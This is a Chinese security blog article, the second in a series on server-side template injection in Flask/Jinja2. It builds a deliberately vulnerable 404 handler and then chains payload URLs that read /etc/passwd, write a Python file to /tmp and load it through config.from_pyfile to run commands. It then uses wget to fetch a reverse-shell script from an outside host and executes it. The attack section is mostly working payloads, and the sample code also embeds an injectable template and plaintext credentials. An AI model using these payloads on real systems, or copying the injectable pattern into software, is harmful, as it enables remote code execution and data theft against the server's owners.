FlaskJinja2 开发中遇到的的服务端注入问题研究 II

2017-06-13 +10 293324人围观 ,发现 4 个不明物体 WEB安全

0×00. 前言

本篇文章是 《Flask Jinja2 开发中遇到的的服务端注入问题研究》续篇,我们继续研究 Flask Jinja2开发中遇到的SSTI问题,本篇文章会介绍新的利用方式。

0×01. 测试代码

为了更好地演示Flask/Jinja2 开发中的SSTI问题,我们搭建一个小的POC程序,主要由两个python脚本组成, 其中page_not_found 存在SSTI漏洞:

Flask-test.py

    #!/usr/bin/env python
    # -*- coding:utf8 -*-
    
    
    import hashlib
    import logging
    from datetime import timedelta
    
    from flask import Flask
    from flask import request
    from flask import config
    from flask import session
    from flask import render_template_string
    
    
    from Config import ProductionConfig
    
    app = Flask(__name__)
    handler = logging.StreamHandler()
    logging_format = logging.Formatter(
                '%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s')
    handler.setFormatter(logging_format)
    app.logger.addHandler(handler)
    
    app.config.secret_key = "\xe8\xf7\xb9\xae\xfb\x87\xea4<5\xe7\x97D\xf4\x88)Q\xbd\xe1j'\x83\x13\xc7"
    app.config.from_object(ProductionConfig) #将配置类中的配置导入程序
    app.permanent_session_lifetime = timedelta(hours=6) #session cookies 有效期
    page_size = 60
    app.config['UPLOAD_DIR'] = '/var/www/html/upload'
    app.config['PLUGIN_UPDATE_URL'] = 'https://ForrestX386.github.io/update'
    app.config['PLUGIN_DOWNLOAD_ADDRESS'] = 'https://ForrestX386.github.io/download'
    
    
    
    @app.route('/')
    def hello_world():
        return 'Hello World!'
    
    @app.errorhandler(404)
    def page_not_found(e):
        template = '''
    {%% block body %%}
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div>
    {%% endblock %%}
    ''' % (request.url)
        return render_template_string(template, dir=dir,help=help, locals=locals), 404
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0')

 Config.py

    #!/usr/bin/env python
    # -*- coding: UTF-8 -*-
    
    
    class Config(object):
        ACCOUNT = 'vpgame'
        PASSWORD = 'win666666'
    
    
    class DevlopmentConfig(Config):
        pass
    
    
    class TestingConfig(Config):
        pass
    
    
    class ProductionConfig(Config):
        HOST = '127.0.0.1'
        PORT = 65521
        DBUSERNAME = 'vpgame'
        DBPASSWORD = 'win666666'
        DBNAME = 'vpgame'

执行 python Flask-test.py 

2017-06-02-0.png

0×02. Flask/Jinja2 开发中的SSTI 利用之任意文件读取

先介绍一些概念

关于类对象

instance.__class__ 可以获取当前实例的类对象

2017-06-02-2.png

我们知道python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新

式类实例,比如”,一个空字符串,就是一个新式类实例,所以”.__class__ 就可以获取到实例对应的类(也就是<type ‘str’>)

类对象中的属性__mro__

class.__mro__ 获取当前类对象的所有继承类

2017-06-02-3.png

python中类对象有一个属性__mro__, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order) 寻找的顺序

http://10.1.100.3:5000/{{”.__class__.__mro__}}

2017-06-02-1.png

从结果中可以发现”对应的类对象str继承的顺序是basestring->object

类对象中的方法__subclasses__()

2017-06-02-4.png

每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)

我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象

开始漏洞利用

首先获取object对象的所有子类引用列表

http://10.1.100.3:5000/{{”.__class__.__mro__[2].__subclasses__()}}

”.__class__.__mro__[2] 获取的就是object 类对象(<type ‘object’>)

2017-06-02-5.png

从执行结果中可以看到,获取到非常多的子类类对象引用,这里我们比较关注的是file类对象(<type ‘file’>), 可以用来进行文件读取

我们选取file 类对象,并实例化一个匿名实例,给其传入参数 ‘/etc/passwd’

http://10.1.100.3:5000/{{”.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read()}}

2017-06-02-6.png

可以看到成功实现了任意文件读取

0×03. Flask/Jinja2 开发中的SSTI 利用之远程代码执行

1 首先向服务器写入一个py代码的文件/tmp/tmp.cfg

访问如下URL

http://10.1.100.3:5000/{{”.__class__.__mro__[2].__subclasses__()[40](‘/tmp/tmp.cfg’, ‘w’).write(‘from subprocess import check_output\n\n RUNCMD = check_output\n ‘)}}

注: 这里需要注意直接在浏览器中访问这个URL,浏览器自动将\n 变成/n, 所以要用burpsuite 的repeater 功能辅助一下

2017-06-02-7.png

2017-06-02-8.png

至此写入文件成功

2 利用Flask Template Globals 中的config上下文对象导入py代码

上一篇《Flask Jinja2开发中遇到的的服务端注入问题研究》中我们提到了render_template_string 函数中第二个参数context 这个上下文对象参数 默认值中就包含了Flask Template Globals 所有的全局变量,其中就包括config这个上下文对象(源代码Flask/config.py), from_pyfile 用于导入指定的py文件,源代码如下:

    def from_pyfile(self, filename, silent=False):
        filename = os.path.join(self.root_path, filename)
        d = imp.new_module('config')
        d.__file__ = filename
        try:
            with open(filename) as config_file:
                exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
        except IOError as e:
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True

这段代码的意思就是将指定的py文件导入,然后将导入的py文件中的大写成员属性加入到config这个上下文对象中(这就是为什么我用RUNCMD了,大写)

先访问:

http://10.1.100.3:5000/{{config.from_pyfile(‘/tmp/tmp.cfg’)}}

2017-06-02-09.png

再访问:

http://10.1.100.3:5000/{{config.items()}}

2017-06-02-10.png

至此,我们已经将RUNCMD导入到config这个模板上下文对象中了,而RUNCMD指向subprocess.check_output

3 利用注入的RUNCMD 执行系统命令下载反弹shell

访问:

http://10.1.100.3:5000/{{config['RUNCMD'](‘/usr/bin/wget http://10.1.100.2/backShell.py -O /tmp/x’, shell=True)}}

2017-06-02-11.png

从执行结果来看,反弹shell下载成功

4 利用config 上下文对象的from_pyfile方法导入反弹shell

我们知道python在导入模块的同时也会执行脚本中部分代码(class 和方法的定义不会执行),利用这一点,就可以执行反弹shell 了

访问:

http://10.1.100.3:5000/{{config.from_pyfile(‘/tmp/x’)}}

2017-06-02-12.png

成功反弹shell

* 本文作者:ForrestX386,转载请注明来自FreeBuf(FreeBuf.COM)

发表评论

已有 4 条评论

取消
Loading...
css.php